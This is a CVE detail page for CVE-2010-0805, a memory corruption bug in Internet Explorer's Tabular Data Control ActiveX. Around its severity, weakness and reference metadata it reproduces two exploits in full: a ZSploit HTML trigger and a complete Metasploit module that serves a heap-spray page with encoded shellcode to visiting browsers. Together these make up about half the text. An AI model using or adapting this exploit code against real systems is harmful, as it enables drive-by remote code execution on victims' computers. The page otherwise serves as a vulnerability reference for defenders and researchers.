CVE-2010-0805 : Detail

CVE-2010-0805

Code Injection
A03-Injection
89.32%V4
Network
2010-03-31
17h00 +00:00
2018-10-12
17h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The Tabular Data Control (TDC) ActiveX control in Microsoft Internet Explorer 5.01 SP4, 6 on Windows XP SP2 and SP3, and 6 SP1 allows remote attackers to execute arbitrary code via a long URL (DataURL parameter) that triggers memory corruption in the CTDCCtl::SecurityCHeckDataURL function, aka "Memory Corruption Vulnerability."

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-94 Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Metrics

Metrics Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 12032

Publication date : 2010-04-02 22h00 +00:00
Author : ZSploit.com
EDB Verified : No

# CVE : CVE-2010-0805 <!-- .text:600058F7 and [ebp+pv], 0 .text:600058FE lea eax, [ebp+pv] .text:60005904 push eax ; unsigned __int16 ** .text:60005905 push dword ptr [ebx+10h] ; struct IOleClientSite * .text:60005908 call GetHostURL(IOleClientSite *,ushort * *) .text:6000590D mov eax, [ebp+var_218] .text:60005913 push [ebp+pv] ; pv .text:60005919 mov [ebp+eax+var_204], 0 .text:60005921 mov eax, [ebp+var_21C] ; length of the DataURL param .text:60005927 mov [ebp+eax+var_104], 0 ; write one byte to arbitrary stack address --> <html> <title>Trigger for ZDI-10-034 by ZSploit.com</title> <head> </head> <body> <object classid="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"> <param name="DataURL" value="http://zsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploi"/> </object> </body> </html> The ZSploit Team
Exploit Database EDB-ID : 16567

Publication date : 2010-04-29 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: ms10_018_ie_tabular_activex.rb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Internet Explorer Tabular Data Control ActiveX Memory Corruption', 'Description' => %q{ This module exploits a memory corruption vulnerability in the Internet Explorer Tabular Data ActiveX Control. Microsoft reports that version 5.01 and 6 of Internet Explorer are vulnerable. By specifying a long value as the "DataURL" parameter to this control, it is possible to write a NUL byte outside the bounds of an array. By targeting control flow data on the stack, an attacker can execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'Anonymous', # original discovery 'jduck' # metasploit version ], 'Version' => '$Revision: 9179 $', 'References' => [ [ 'CVE', '2010-0805' ], [ 'OSVDB', '63329' ], [ 'BID', '39025' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-034' ], [ 'MSB', 'MS10-018' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "", #"\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic (Heap Spray)', { 'Ret' => 0x0c0c0c0c } ], ], 'DisclosureDate' => 'Mar 09 2010', 'DefaultTarget' => 0)) end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{target.name})...") # Encode the shellcode shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Set the return\nops ret = Rex::Text.to_unescape([target.ret].pack('V')) # ActiveX parameters #progid = clsid = "333C7BC4-460F-11D0-BC04-0080C7055A83" # exploit url url = "http://" #url << rand_text_alphanumeric(258) url << rand_text_alphanumeric(258+0x116+2) # Construct the final page var_unescape = rand_text_alpha(rand(100) + 1) var_shellcode = rand_text_alpha(rand(100) + 1) var_memory = rand_text_alpha(rand(100) + 1) var_spray = rand_text_alpha(rand(100) + 1) var_i = rand_text_alpha(rand(100) + 1) html = %Q|<html><body> <script> var #{var_memory} = new Array(); var #{var_unescape} = unescape; var #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}'); var #{var_spray} = #{var_unescape}("#{ret * 2}"); do { #{var_spray} += #{var_spray} } while( #{var_spray}.length < 0x4000 ); for (#{var_i} = 0; #{var_i} < 150; #{var_i}++) #{var_memory}[#{var_i}] = #{var_spray} + #{var_shellcode}; </script> <object classid='clsid:#{clsid}'> <param name='DataURL' value='#{url}'/> </object> </body></html> | # Transmit the compressed response to the client send_response(cli, html, { 'Content-Type' => 'text/html' }) # Handle the payload handler(cli) end end

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 5.01

Microsoft>>Internet_explorer >> Version 6

Microsoft>>Windows_2000 >> Version *

Configuraton 0

Microsoft>>Internet_explorer >> Version 6

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version *

References

http://www.securityfocus.com/bid/39025
Tags : vdb-entry, x_refsource_BID
http://www.us-cert.gov/cas/techalerts/TA10-089A.html
Tags : third-party-advisory, x_refsource_CERT
http://www.us-cert.gov/cas/techalerts/TA10-068A.html
Tags : third-party-advisory, x_refsource_CERT
http://www.vupen.com/english/advisories/2010/0744
Tags : vdb-entry, x_refsource_VUPEN
http://securitytracker.com/id?1023773
Tags : vdb-entry, x_refsource_SECTRACK